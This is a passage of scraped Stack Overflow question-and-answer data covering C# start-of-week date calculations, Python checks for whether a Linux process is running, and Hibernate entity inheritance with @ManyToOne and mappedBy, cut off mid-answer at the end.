"text": "<p>Ugly but it at least gives the right dates back </p>\n\n<p>With start of week set by system:</p>\n\n<pre><code> public static DateTime FirstDateInWeek(this DateTime dt)\n {\n while (dt.DayOfWeek != System.Threading.Thread.CurrentThread.CurrentCulture.DateTimeFormat.FirstDayOfWeek)\n dt = dt.AddDays(-1);\n return dt;\n }\n</code></pre>\n\n<p>Without:</p>\n\n<pre><code> public static DateTime FirstDateInWeek(this DateTime dt, DayOfWeek weekStartDay)\n {\n while (dt.DayOfWeek != weekStartDay)\n dt = dt.AddDays(-1);\n return dt;\n }\n</code></pre>\n"
},
{
"answer_id": 10685884,
"author": "yeasir007",
"author_id": 1326559,
"author_profile": "https://Stackoverflow.com/users/1326559",
"pm_score": 2,
"selected": false,
"text": "<p>Try with this in C#. With this code you can get both the first date and last date of a given week. Here Sunday is the first day and Saturday is the last day, but you can set both days according to your culture.</p>\n<pre><code>DateTime firstDate = GetFirstDateOfWeek(DateTime.Parse("05/09/2012").Date, DayOfWeek.Sunday);\nDateTime lastDate = GetLastDateOfWeek(DateTime.Parse("05/09/2012").Date, DayOfWeek.Saturday);\n\npublic static DateTime GetFirstDateOfWeek(DateTime dayInWeek, DayOfWeek firstDay)\n{\n DateTime firstDayInWeek = dayInWeek.Date;\n while (firstDayInWeek.DayOfWeek != firstDay)\n firstDayInWeek = firstDayInWeek.AddDays(-1);\n\n return firstDayInWeek;\n}\n\npublic static DateTime GetLastDateOfWeek(DateTime dayInWeek, DayOfWeek firstDay)\n{\n DateTime lastDayInWeek = dayInWeek.Date;\n while (lastDayInWeek.DayOfWeek != firstDay)\n lastDayInWeek = lastDayInWeek.AddDays(1);\n\n return lastDayInWeek;\n}\n</code></pre>\n"
},
{
"answer_id": 11379841,
"author": "Matthew Hintzen",
"author_id": 597406,
"author_profile": "https://Stackoverflow.com/users/597406",
"pm_score": 3,
"selected": false,
"text": "<p>Putting it all together, with Globalization and allowing for specifying the first day of the week as part of the call we have</p>\n\n<pre><code>public static DateTime StartOfWeek ( this DateTime dt, DayOfWeek? firstDayOfWeek )\n{\n DayOfWeek fdow;\n\n if ( firstDayOfWeek.HasValue )\n {\n fdow = firstDayOfWeek.Value;\n }\n else\n {\n System.Globalization.CultureInfo ci = System.Threading.Thread.CurrentThread.CurrentCulture;\n fdow = ci.DateTimeFormat.FirstDayOfWeek;\n }\n\n int diff = dt.DayOfWeek - fdow;\n\n if ( diff < 0 )\n {\n diff += 7;\n }\n\n return dt.AddDays( -1 * diff ).Date;\n\n}\n</code></pre>\n"
},
{
"answer_id": 14609184,
"author": "Eric",
"author_id": 408879,
"author_profile": "https://Stackoverflow.com/users/408879",
"pm_score": 7,
"selected": false,
"text": "<p>The quickest way I can come up with is:</p>\n<pre><code>var sunday = DateTime.Today.AddDays(-(int)DateTime.Today.DayOfWeek);\n</code></pre>\n<p>If you would like any other day of the week to be your start date, all you need to do is add the DayOfWeek value to the end</p>\n<pre><code>var monday = DateTime.Today.AddDays(-(int)DateTime.Today.DayOfWeek + (int)DayOfWeek.Monday);\n\nvar tuesday = DateTime.Today.AddDays(-(int)DateTime.Today.DayOfWeek + (int)DayOfWeek.Tuesday);\n</code></pre>\n"
},
{
"answer_id": 15224122,
"author": "Andreas Kromann",
"author_id": 2135748,
"author_profile": "https://Stackoverflow.com/users/2135748",
"pm_score": 2,
"selected": false,
"text": "<p>Here is a <em>correct</em> solution. The following code works regardless if the first day of the week is a Monday or a Sunday or something else.</p>\n<pre><code>public static class DateTimeExtension\n{\n public static DateTime GetFirstDayOfThisWeek(this DateTime d)\n {\n CultureInfo ci = System.Threading.Thread.CurrentThread.CurrentCulture;\n var first = (int)ci.DateTimeFormat.FirstDayOfWeek;\n var current = (int)d.DayOfWeek;\n\n var result = first <= current ?\n d.AddDays(-1 * (current - first)) :\n d.AddDays(first - current - 7);\n\n return result;\n }\n}\n\nclass Program\n{\n static void Main()\n {\n System.Threading.Thread.CurrentThread.CurrentCulture = CultureInfo.GetCultureInfo("en-US");\n Console.WriteLine("Current culture set to en-US");\n RunTests();\n Console.WriteLine();\n System.Threading.Thread.CurrentThread.CurrentCulture = CultureInfo.GetCultureInfo("da-DK");\n Console.WriteLine("Current culture set to da-DK");\n RunTests();\n Console.ReadLine();\n }\n\n static void RunTests()\n {\n Console.WriteLine("Today {1}: {0}", DateTime.Today.Date.GetFirstDayOfThisWeek(), DateTime.Today.Date.ToString("yyyy-MM-dd"));\n Console.WriteLine("Saturday 2013-03-02: {0}", new DateTime(2013, 3, 2).GetFirstDayOfThisWeek());\n Console.WriteLine("Sunday 2013-03-03: {0}", new DateTime(2013, 3, 3).GetFirstDayOfThisWeek());\n Console.WriteLine("Monday 2013-03-04: {0}", new DateTime(2013, 3, 4).GetFirstDayOfThisWeek());\n }\n}\n</code></pre>\n"
},
{
"answer_id": 18821567,
"author": "HelloWorld",
"author_id": 1394710,
"author_profile": "https://Stackoverflow.com/users/1394710",
"pm_score": 3,
"selected": false,
"text": "<pre><code>var now = System.DateTime.Now;\n\nvar result = now.AddDays(-((now.DayOfWeek - System.Threading.Thread.CurrentThread.CurrentCulture.DateTimeFormat.FirstDayOfWeek + 7) % 7)).Date;\n</code></pre>\n"
},
{
"answer_id": 26167621,
"author": "Denis",
"author_id": 495799,
"author_profile": "https://Stackoverflow.com/users/495799",
"pm_score": 0,
"selected": false,
"text": "<pre><code> namespace DateTimeExample\n {\n using System;\n\n public static class DateTimeExtension\n {\n public static DateTime GetMonday(this DateTime time)\n {\n if (time.DayOfWeek != DayOfWeek.Monday)\n return GetMonday(time.AddDays(-1)); //Recursive call\n\n return time;\n }\n }\n\n internal class Program\n {\n private static void Main()\n {\n Console.WriteLine(DateTime.Now.GetMonday());\n Console.ReadLine();\n }\n }\n } \n</code></pre>\n"
},
{
"answer_id": 29106459,
"author": "Adrian",
"author_id": 4682104,
"author_profile": "https://Stackoverflow.com/users/4682104",
"pm_score": -1,
"selected": false,
"text": "<pre><code> d = DateTime.Now;\n int dayofweek =(int) d.DayOfWeek;\n if (dayofweek != 0)\n {\n d = d.AddDays(1 - dayofweek);\n }\n else { d = d.AddDays(-6); }\n</code></pre>\n"
},
{
"answer_id": 34108838,
"author": "Rabbex",
"author_id": 5644465,
"author_profile": "https://Stackoverflow.com/users/5644465",
"pm_score": 3,
"selected": false,
"text": "<pre><code>using System;\nusing System.Globalization;\n\nnamespace MySpace\n{\n public static class DateTimeExtention\n {\n // ToDo: Need to provide culturaly neutral versions.\n\n public static DateTime GetStartOfWeek(this DateTime dt)\n {\n DateTime ndt = dt.Subtract(TimeSpan.FromDays((int)dt.DayOfWeek));\n return new DateTime(ndt.Year, ndt.Month, ndt.Day, 0, 0, 0, 0);\n }\n\n public static DateTime GetEndOfWeek(this DateTime dt)\n {\n DateTime ndt = dt.GetStartOfWeek().AddDays(6);\n return new DateTime(ndt.Year, ndt.Month, ndt.Day, 23, 59, 59, 999);\n }\n\n public static DateTime GetStartOfWeek(this DateTime dt, int year, int week)\n {\n DateTime dayInWeek = new DateTime(year, 1, 1).AddDays((week - 1) * 7);\n return dayInWeek.GetStartOfWeek();\n }\n\n public static DateTime GetEndOfWeek(this DateTime dt, int year, int week)\n {\n DateTime dayInWeek = new DateTime(year, 1, 1).AddDays((week - 1) * 7);\n return dayInWeek.GetEndOfWeek();\n }\n }\n}\n</code></pre>\n"
},
{
"answer_id": 34353217,
"author": "Piotr Lewandowski",
"author_id": 5694667,
"author_profile": "https://Stackoverflow.com/users/5694667",
"pm_score": 2,
"selected": false,
"text": "<p>Modulo in C# works bad for -1 mod 7 (it should be 6, but C# returns -1)\nso... a "one-liner" solution to this will look like this :)</p>\n<pre><code>private static DateTime GetFirstDayOfWeek(DateTime date)\n{\n return date.AddDays(\n -(((int)date.DayOfWeek - 1) -\n (int)Math.Floor((double)((int)date.DayOfWeek - 1) / 7) * 7));\n}\n</code></pre>\n"
},
{
"answer_id": 37902263,
"author": "Threezool",
"author_id": 5131763,
"author_profile": "https://Stackoverflow.com/users/5131763",
"pm_score": 2,
"selected": false,
"text": "<p>I tried several, but I did not solve the issue with a week starting on a Monday, resulting in giving me the coming Monday on a Sunday. So I modified it a bit and got it working with this code:</p>\n<pre><code>int delta = DayOfWeek.Monday - DateTime.Now.DayOfWeek;\nDateTime monday = DateTime.Now.AddDays(delta == 1 ? -6 : delta);\nreturn monday;\n</code></pre>\n"
},
{
"answer_id": 43684154,
"author": "F.H.",
"author_id": 2906568,
"author_profile": "https://Stackoverflow.com/users/2906568",
"pm_score": 2,
"selected": false,
"text": "<p>The same for end of the week (in style of <a href=\"https://stackoverflow.com/questions/38039/how-can-i-get-the-datetime-for-the-start-of-the-week/38064#38064\">Compile This's answer</a>):</p>\n<pre><code> public static DateTime EndOfWeek(this DateTime dt)\n {\n int diff = 7 - (int)dt.DayOfWeek;\n\n diff = diff == 7 ? 0 : diff;\n\n DateTime eow = dt.AddDays(diff).Date;\n\n return new DateTime(eow.Year, eow.Month, eow.Day, 23, 59, 59, 999) { };\n }\n</code></pre>\n"
},
{
"answer_id": 48411638,
"author": "Mike",
"author_id": 7612816,
"author_profile": "https://Stackoverflow.com/users/7612816",
"pm_score": 0,
"selected": false,
"text": "<p>Here is a combination of a few of the answers. It uses an extension method that allows the culture to be passed in. If one is not passed in, the current culture is used. This will give it maximum flexibility and reuse.</p>\n<pre><code>/// <summary>\n/// Gets the date of the first day of the week for the date.\n/// </summary>\n/// <param name="date">The date to be used</param>\n/// <param name="cultureInfo">If none is provided, the current culture is used</param>\n/// <returns>The date of the beggining of the week based on the culture specifed</returns>\npublic static DateTime StartOfWeek(this DateTime date, CultureInfo cultureInfo=null) =>\n date.AddDays(-1 * (7 + (date.DayOfWeek - (cultureInfo ?? CultureInfo.CurrentCulture).DateTimeFormat.FirstDayOfWeek)) % 7).Date;\n</code></pre>\n<p>Example Usage:</p>\n<pre><code>public static void TestFirstDayOfWeekExtension() {\n DateTime date = DateTime.Now;\n foreach(System.Globalization.CultureInfo culture in CultureInfo.GetCultures(CultureTypes.UserCustomCulture | CultureTypes.SpecificCultures)) {\n Console.WriteLine($"{culture.EnglishName}: {date.ToShortDateString()} First Day of week: {date.StartOfWeek(culture).ToShortDateString()}");\n }\n}\n</code></pre>\n"
},
{
"answer_id": 48494983,
"author": "Ali Umair",
"author_id": 2156152,
"author_profile": "https://Stackoverflow.com/users/2156152",
"pm_score": 0,
"selected": false,
"text": "<p>If you want Saturday or Sunday or any day of week, but not exceeding the current week (Sat-Sun), I got you covered with this piece of code.</p>\n<pre><code>public static DateTime GetDateInCurrentWeek(this DateTime date, DayOfWeek day)\n{\n var temp = date;\n var limit = (int)date.DayOfWeek;\n var returnDate = DateTime.MinValue;\n\n if (date.DayOfWeek == day) \n return date;\n\n for (int i = limit; i < 6; i++)\n {\n temp = temp.AddDays(1);\n\n if (day == temp.DayOfWeek)\n {\n returnDate = temp;\n break;\n }\n }\n if (returnDate == DateTime.MinValue)\n {\n for (int i = limit; i > -1; i++)\n {\n date = date.AddDays(-1);\n\n if (day == date.DayOfWeek)\n {\n returnDate = date;\n break;\n }\n }\n }\n return returnDate;\n}\n</code></pre>\n"
},
{
"answer_id": 52720346,
"author": "George Stavrou",
"author_id": 6050375,
"author_profile": "https://Stackoverflow.com/users/6050375",
"pm_score": 4,
"selected": false,
"text": "<p><strong>For Monday</strong></p>\n\n<pre><code>DateTime startAtMonday = DateTime.Now.AddDays(DayOfWeek.Monday - DateTime.Now.DayOfWeek);\n</code></pre>\n\n<p><strong>For Sunday</strong></p>\n\n<pre><code>DateTime startAtSunday = DateTime.Now.AddDays(DayOfWeek.Sunday- DateTime.Now.DayOfWeek);\n</code></pre>\n"
},
{
"answer_id": 53518108,
"author": "pixelda",
"author_id": 1489673,
"author_profile": "https://Stackoverflow.com/users/1489673",
"pm_score": 0,
"selected": false,
"text": "<p>We like one-liners: Get the difference between the current culture's first day of week and the current day, and then subtract the number of days from the current day:</p>\n<pre><code>var weekStartDate = DateTime.Now.AddDays(-((int)now.DayOfWeek - (int)DateTimeFormatInfo.CurrentInfo.FirstDayOfWeek));\n</code></pre>\n"
},
{
"answer_id": 55514986,
"author": "Muhammad Abbas",
"author_id": 5834683,
"author_profile": "https://Stackoverflow.com/users/5834683",
"pm_score": 3,
"selected": false,
"text": "<p>Step 1:</p>\n<p>Create a static class</p>\n<pre><code>public static class TIMEE\n{\n public static DateTime StartOfWeek(this DateTime dt, DayOfWeek startOfWeek)\n {\n int diff = (7 + (dt.DayOfWeek - startOfWeek)) % 7;\n return dt.AddDays(-1 * diff).Date;\n }\n\n public static DateTime EndOfWeek(this DateTime dt, DayOfWeek startOfWeek)\n {\n int diff = (7 - (dt.DayOfWeek - startOfWeek)) % 7;\n return dt.AddDays(1 * diff).Date;\n }\n}\n</code></pre>\n<p>Step 2: Use this class to get both start and end day of the week</p>\n<pre><code>DateTime dt = TIMEE.StartOfWeek(DateTime.Now ,DayOfWeek.Monday);\nDateTime dt1 = TIMEE.EndOfWeek(DateTime.Now, DayOfWeek.Sunday);\n</code></pre>\n"
},
{
"answer_id": 57274114,
"author": "Rowan Richards",
"author_id": 5821656,
"author_profile": "https://Stackoverflow.com/users/5821656",
"pm_score": 1,
"selected": false,
"text": "<p>Following on from <a href=\"https://stackoverflow.com/questions/38039/how-can-i-get-the-datetime-for-the-start-of-the-week/38064#38064\">Compile This' answer</a>, use the following method to obtain the date for any day of the week:</p>\n<pre><code>public static DateTime GetDayOfWeek(DateTime dateTime, DayOfWeek dayOfWeek)\n{\n var monday = dateTime.Date.AddDays((7 + (dateTime.DayOfWeek - DayOfWeek.Monday) % 7) * -1);\n\n var diff = dayOfWeek - DayOfWeek.Monday;\n\n if (diff == -1)\n {\n diff = 6;\n }\n\n return monday.AddDays(diff);\n}\n</code></pre>\n"
},
{
"answer_id": 60892025,
"author": "mihauuuu",
"author_id": 8549646,
"author_profile": "https://Stackoverflow.com/users/8549646",
"pm_score": -1,
"selected": false,
"text": "<p>Try to create a function which uses recursion. Your DateTime object is an input and function returns a new DateTime object which stands for the beginning of the week. </p>\n\n<pre><code> DateTime WeekBeginning(DateTime input)\n {\n do\n {\n if (input.DayOfWeek.ToString() == \"Monday\")\n return input;\n else\n return WeekBeginning(input.AddDays(-1));\n } while (input.DayOfWeek.ToString() == \"Monday\");\n }\n</code></pre>\n"
},
{
"answer_id": 61554096,
"author": "C. Keats",
"author_id": 8273351,
"author_profile": "https://Stackoverflow.com/users/8273351",
"pm_score": 0,
"selected": false,
"text": "<p>Calculating this way lets you choose which day of the week indicates the start of a new week (in the example I chose Monday).</p>\n\n<p>Note that doing this calculation for a day that is a Monday will give the <em>current</em> Monday and not the previous one.</p>\n\n<pre><code>//Replace with whatever input date you want\nDateTime inputDate = DateTime.Now;\n\n//For this example, weeks start on Monday\nint startOfWeek = (int)DayOfWeek.Monday;\n\n//Calculate the number of days it has been since the start of the week\nint daysSinceStartOfWeek = ((int)inputDate.DayOfWeek + 7 - startOfWeek) % 7;\n\nDateTime previousStartOfWeek = inputDate.AddDays(-daysSinceStartOfWeek);\n</code></pre>\n"
},
{
"answer_id": 64763247,
"author": "DReact",
"author_id": 11487686,
"author_profile": "https://Stackoverflow.com/users/11487686",
"pm_score": 2,
"selected": false,
"text": "<p>I did it for Monday, but with similar logic for Sunday.</p>\n<pre><code>public static DateTime GetStartOfWeekDate()\n{\n // Get today's date\n DateTime today = DateTime.Today;\n // Get the value for today. DayOfWeek is an enum with 0 being Sunday, 1 Monday, etc\n var todayDayOfWeek = (int)today.DayOfWeek;\n\n var dateStartOfWeek = today;\n // If today is not Monday, then get the date for Monday\n if (todayDayOfWeek != 1)\n {\n // How many days to get back to Monday from today\n var daysToStartOfWeek = (todayDayOfWeek - 1);\n // Subtract from today's date the number of days to get to Monday\n dateStartOfWeek = today.AddDays(-daysToStartOfWeek);\n }\n\n return dateStartOfWeek;\n\n}\n</code></pre>\n"
},
{
"answer_id": 68382467,
"author": "Noob",
"author_id": 8604852,
"author_profile": "https://Stackoverflow.com/users/8604852",
"pm_score": -1,
"selected": false,
"text": "<p>I did it like this:</p>\n<pre><code>DateTime.Now.Date.AddDays(-(DateTime.Now.Date.DayOfWeek == 0 ? 7 : (int)DateTime.Now.Date.DayOfWeek) + 1)\n</code></pre>\n<p>All this code does is subtracting a number of days from the given datetime.</p>\n<p>If day of week is 0(sunday) then subtract 7 else subtract the day of the week.</p>\n<p>Then add 1 day to the result of the previous line, which gives you the monday of that date.</p>\n<p>This way you can play around with the number(1) at the end to get the desired day.</p>\n<pre><code>private static DateTime GetDay(DateTime date, int daysAmount = 1)\n{\n return date.Date.AddDays(-(date.Date.DayOfWeek == 0 ? 7 : (int)date.Date.DayOfWeek) + daysAmount);\n}\n</code></pre>\n<p>If you really want to use the DayOfWeek enum then something like this can be used... though I presonally prefer the above one, as I can add or subtract any amount of days.</p>\n<pre><code>private static DateTime GetDayOfWeek(DateTime date, DayOfWeek dayOfWeek = DayOfWeek.Monday)\n{\n return date.Date.AddDays(-(date.Date.DayOfWeek == 0 ? 7 : (int)date.Date.DayOfWeek) + (dayOfWeek == 0 ? 7 : (int)dayOfWeek));\n}\n</code></pre>\n"
},
{
"answer_id": 72867015,
"author": "Display Name",
"author_id": 2815956,
"author_profile": "https://Stackoverflow.com/users/2815956",
"pm_score": 0,
"selected": false,
"text": "<p>I work with a lot of schools, so correctly using Monday as the first day of the week is important here.</p>\n<p>A lot of the most terse answers here don't work on Sunday -- we often end up returning the date of tomorrow on Sunday, which is not good for running a report on last week's activities.</p>\n<p>Here's my solution, which returns last Monday on Sunday, and today on Monday.</p>\n<pre class=\"lang-cpp prettyprint-override\"><code>// Adding 7 so remainder is always positive; Otherwise % returns -1 on Sunday.\nvar daysToSubtract = (7 + (int)today.DayOfWeek - (int)DayOfWeek.Monday) % 7;\n\nvar monday = today\n .AddDays(-daysToSubtract)\n .Date;\n</code></pre>\n<p>Remember to use a method parameter for "today" so it's unit testable!!</p>\n"
}
] | 2008/09/01 | [
"https://Stackoverflow.com/questions/38039",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/383/"
] | How do I find the start of the week (both Sunday and Monday) knowing just the current time in C#?
Something like:
```
DateTime.Now.StartWeek(Monday);
``` | Use an extension method:
```
public static class DateTimeExtensions
{
public static DateTime StartOfWeek(this DateTime dt, DayOfWeek startOfWeek)
{
int diff = (7 + (dt.DayOfWeek - startOfWeek)) % 7;
return dt.AddDays(-1 * diff).Date;
}
}
```
Which can be used as follows:
```
DateTime dt = DateTime.Now.StartOfWeek(DayOfWeek.Monday);
DateTime dt = DateTime.Now.StartOfWeek(DayOfWeek.Sunday);
``` |
38,056 | <p>The only <em>nice</em> way I've found is:</p>
<pre><code>import sys
import os
try:
os.kill(int(sys.argv[1]), 0)
print "Running"
except:
print "Not running"
</code></pre>
<p>(<a href="http://www.unix.com/unix-advanced-expert-users/79267-trick-bash-scripters-check-if-process-running.html" rel="noreferrer">Source</a>)<br>
But is this reliable? Does it work with every process and every distribution?</p>
| [
{
"answer_id": 38071,
"author": "Mark Harrison",
"author_id": 116,
"author_profile": "https://Stackoverflow.com/users/116",
"pm_score": 5,
"selected": false,
"text": "<p>on linux, you can look in the directory /proc/$PID to get information about that process. In fact, if the directory exists, the process is running.</p>\n"
},
{
"answer_id": 38196,
"author": "dF.",
"author_id": 3002,
"author_profile": "https://Stackoverflow.com/users/3002",
"pm_score": 4,
"selected": false,
"text": "<p>It should work on any POSIX system (although looking at the <code>/proc</code> filesystem, as others have suggested, is easier if you know it's going to be there).</p>\n\n<p>However: <code>os.kill</code> may also fail if you don't have permission to signal the process. You would need to do something like:</p>\n\n<pre><code>import sys\nimport os\nimport errno\n\ntry:\n os.kill(int(sys.argv[1]), 0)\nexcept OSError, err:\n if err.errno == errno.ESRCH:\n print \"Not running\"\n elif err.errno == errno.EPERM:\n print \"No permission to signal this process!\"\n else:\n print \"Unknown error\"\nelse:\n print \"Running\"\n</code></pre>\n"
},
{
"answer_id": 38230,
"author": "Aaron Maenpaa",
"author_id": 2603,
"author_profile": "https://Stackoverflow.com/users/2603",
"pm_score": 7,
"selected": true,
"text": "<p>Mark's answer is the way to go, after all, that's why the /proc file system is there. For something a little more copy/pasteable:</p>\n\n<pre><code> >>> import os.path\n >>> os.path.exists(\"/proc/0\")\n False\n >>> os.path.exists(\"/proc/12\")\n True\n</code></pre>\n"
},
{
"answer_id": 45533,
"author": "Marius",
"author_id": 4712,
"author_profile": "https://Stackoverflow.com/users/4712",
"pm_score": 3,
"selected": false,
"text": "<blockquote>\n <p>But is this reliable? Does it work with every process and every distribution?</p>\n</blockquote>\n\n<p>Yes, it should work on any Linux distribution. Be aware that /proc is not easily available on Unix based systems, though (FreeBSD, OSX).</p>\n"
},
{
"answer_id": 4139017,
"author": "sivabudh",
"author_id": 65313,
"author_profile": "https://Stackoverflow.com/users/65313",
"pm_score": 3,
"selected": false,
"text": "<p>Here's the solution that solved it for me:</p>\n\n<pre><code>import os\nimport subprocess\nimport re\n\ndef findThisProcess( process_name ):\n ps = subprocess.Popen(\"ps -eaf | grep \"+process_name, shell=True, stdout=subprocess.PIPE)\n output = ps.stdout.read()\n ps.stdout.close()\n ps.wait()\n\n return output\n\n# This is the function you can use \ndef isThisRunning( process_name ):\n output = findThisProcess( process_name )\n\n if re.search('path/of/process'+process_name, output) is None:\n return False\n else:\n return True\n\n# Example of how to use\nif isThisRunning('some_process') == False:\n print(\"Not running\")\nelse:\n print(\"Running!\")\n</code></pre>\n\n<p>I'm a Python + Linux newbie, so this might not be optimal. It solved my problem, and hopefully will help other people as well.</p>\n"
},
{
"answer_id": 5112021,
"author": "timblaktu",
"author_id": 532621,
"author_profile": "https://Stackoverflow.com/users/532621",
"pm_score": 3,
"selected": false,
"text": "<p>Seems to me a PID-based solution is too vulnerable. If the process you're trying to check the status of has been terminated, its PID can be reused by a new process. So, IMO ShaChris23 the Python + Linux newbie gave the best solution to the problem. Even it only works if the process in question is uniquely identifiable by its command string, or you are sure there would be only one running at a time.</p>\n"
},
{
"answer_id": 7008599,
"author": "Maksym Kozlenko",
"author_id": 171847,
"author_profile": "https://Stackoverflow.com/users/171847",
"pm_score": 0,
"selected": false,
"text": "<p>Sligtly modified version of ShaChris23 script. Checks if proc_name value is found within process args string (for example Python script executed with python ):</p>\n\n<pre><code>def process_exists(proc_name):\n ps = subprocess.Popen(\"ps ax -o pid= -o args= \", shell=True, stdout=subprocess.PIPE)\n ps_pid = ps.pid\n output = ps.stdout.read()\n ps.stdout.close()\n ps.wait()\n\n for line in output.split(\"\\n\"):\n res = re.findall(\"(\\d+) (.*)\", line)\n if res:\n pid = int(res[0][0])\n if proc_name in res[0][1] and pid != os.getpid() and pid != ps_pid:\n return True\n return False\n</code></pre>\n"
},
{
"answer_id": 11784942,
"author": "mr.m",
"author_id": 1572451,
"author_profile": "https://Stackoverflow.com/users/1572451",
"pm_score": 2,
"selected": false,
"text": "<p>i had problems with the versions above (for example the function found also part of the string and such things...)\nso i wrote my own, modified version of Maksym Kozlenko's:</p>\n\n<pre><code>#proc -> name/id of the process\n#id = 1 -> search for pid\n#id = 0 -> search for name (default)\n\ndef process_exists(proc, id = 0):\n ps = subprocess.Popen(\"ps -A\", shell=True, stdout=subprocess.PIPE)\n ps_pid = ps.pid\n output = ps.stdout.read()\n ps.stdout.close()\n ps.wait()\n\n for line in output.split(\"\\n\"):\n if line != \"\" and line != None:\n fields = line.split()\n pid = fields[0]\n pname = fields[3]\n\n if(id == 0):\n if(pname == proc):\n return True\n else:\n if(pid == proc):\n return True\nreturn False\n</code></pre>\n\n<p>I think it's more reliable, easier to read and you have the option to check for process ids or names.</p>\n"
},
{
"answer_id": 18259642,
"author": "felbus",
"author_id": 236805,
"author_profile": "https://Stackoverflow.com/users/236805",
"pm_score": 3,
"selected": false,
"text": "<p>I use this to get the processes, and the count of the process of the specified name</p>\n\n<pre><code>import os\n\nprocessname = 'somprocessname'\ntmp = os.popen(\"ps -Af\").read()\nproccount = tmp.count(processname)\n\nif proccount > 0:\n print(proccount, ' processes running of ', processname, 'type')\n</code></pre>\n"
}
] | 2008/09/01 | [
"https://Stackoverflow.com/questions/38056",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1531/"
] | The only *nice* way I've found is:
```
import sys
import os
try:
os.kill(int(sys.argv[1]), 0)
print "Running"
except:
print "Not running"
```
([Source](http://www.unix.com/unix-advanced-expert-users/79267-trick-bash-scripters-check-if-process-running.html))
But is this reliable? Does it work with every process and every distribution? | Mark's answer is the way to go, after all, that's why the /proc file system is there. For something a little more copy/pasteable:
```
>>> import os.path
>>> os.path.exists("/proc/0")
False
>>> os.path.exists("/proc/12")
True
``` |
38,057 | <pre><code>@Entity
@Inheritance(strategy = InheritanceType.SINGLE_TABLE)
public class Problem {
@ManyToOne
private Person person;
}
@Entity
@DiscriminatorValue("UP")
public class UglyProblem extends Problem {}
@Entity
public class Person {
@OneToMany(mappedBy="person")
private List< UglyProblem > problems;
}
</code></pre>
<p>I think it is pretty clear what I am trying to do. I expect @ManyToOne person to be inherited by UglyProblem class. But there will be an exception saying something like: "There is no such property found in UglyProblem class (mappedBy="person")".</p>
<p>All I found is <a href="http://opensource.atlassian.com/projects/hibernate/browse/ANN-558" rel="noreferrer">this</a>. I was not able to find the post by Emmanuel Bernard explaining reasons behind this. </p>
<hr>
<blockquote>
<p>Unfortunately, according to the Hibernate documentation "Properties from superclasses not mapped as @MappedSuperclass are ignored."</p>
</blockquote>
<p>Well I think this means that if I have these two classes:</p>
<pre><code>public class A {
private int foo;
}
@Entity
public class B extens A {
}
</code></pre>
<p>then field <code>foo</code> will not be mapped for class B. Which makes sense. But if I have something like this:</p>
<pre><code>@Entity
public class Problem {
@Id
@GeneratedValue(strategy = GenerationType.AUTO)
private Long id;
private String name;
public Long getId() {
return id;
}
public void setId(Long id) {
this.id = id;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
}
@Entity
public class UglyProblem extends Problem {
private int levelOfUgliness;
public int getLevelOfUgliness() {
return levelOfUgliness;
}
public void setLevelOfUgliness(int levelOfUgliness) {
this.levelOfUgliness = levelOfUgliness;
}
}
</code></pre>
<p>I expect the class UglyProblem to have fileds <code>id</code> and <code>name</code> and both classes to be mapped using same table. (In fact, this is exactly what happens, I have just checked again). I have got this table:</p>
<pre><code>CREATE TABLE "problem" (
"DTYPE" varchar(31) NOT NULL,
"id" bigint(20) NOT NULL auto_increment,
"name" varchar(255) default NULL,
"levelOfUgliness" int(11) default NULL,
PRIMARY KEY ("id")
) AUTO_INCREMENT=2;
</code></pre>
<p>Going back to my question:</p>
<blockquote>
<p>I expect @ManyToOne person to be inherited by UglyProblem class.</p>
</blockquote>
<p>I expect that because all other mapped fields are inherited and I do not see any reason to make this exception for ManyToOne relationships.</p>
<hr>
<p>Yeah, I saw that. In fact, I used Read-Only solution for my case. But my question was "Why..." :). I know that there is an explanation given by a member of hibernate team. I was not able to find it and that is why I asked.</p>
<p>I want to find out the motivation of this design decision.</p>
<p>(if you interested how I have faced this problem: I inherited a project built using hibernate 3. It was Jboss 4.0.something + hibernate was already there (you'd download it all together). I was moving this project to Jboss 4.2.2 and I found out that there are inherited mappings of "@OneToMany mappedBy" and it worked fine on old setup...)</p>
| [
{
"answer_id": 38096,
"author": "Peter Hilton",
"author_id": 2670,
"author_profile": "https://Stackoverflow.com/users/2670",
"pm_score": 1,
"selected": false,
"text": "<p>I think you need to annotate your <em>Problem</em> super-class with <em><a href=\"http://java.sun.com/javaee/5/docs/api/javax/persistence/MappedSuperclass.html\" rel=\"nofollow noreferrer\">@MappedSuperclass</a></em> instead of <em>@Entity</em>.</p>\n"
},
{
"answer_id": 38992,
"author": "David Crow",
"author_id": 2783,
"author_profile": "https://Stackoverflow.com/users/2783",
"pm_score": 3,
"selected": false,
"text": "<p>Unfortunately, according to the Hibernate <a href=\"http://www.hibernate.org/hib_docs/annotations/reference/en/html_single/#d0e939\" rel=\"noreferrer\">documentation</a> \"Properties from superclasses not mapped as @MappedSuperclass are ignored.\" I ran up against this too. My solution was to represent the desired inheritance through interfaces rather than the entity beans themselves.</p>\n\n<p>In your case, you could define the following:</p>\n\n<pre><code>public interface Problem {\n public Person getPerson();\n}\n\npublic interface UglyProblem extends Problem {\n}\n</code></pre>\n\n<p>Then implement these interfaces using an abstract superclass and two entity subclasses:</p>\n\n<pre><code>@MappedSuperclass\npublic abstract class AbstractProblemImpl implements Problem {\n @ManyToOne\n private Person person;\n\n public Person getPerson() {\n return person;\n }\n}\n\n@Entity\npublic class ProblemImpl extends AbstractProblemImpl implements Problem {\n}\n\n@Entity\npublic class UglyProblemImpl extends AbstractProblemImpl implements UglyProblem {\n}\n</code></pre>\n\n<p>As an added benefit, if you code using the interfaces rather than the actual entity beans that implement those interfaces, it makes it easier to change the underlying mappings later on (less risk of breaking compatibility).</p>\n"
},
{
"answer_id": 53448,
"author": "Marcio Aguiar",
"author_id": 4213,
"author_profile": "https://Stackoverflow.com/users/4213",
"pm_score": 4,
"selected": true,
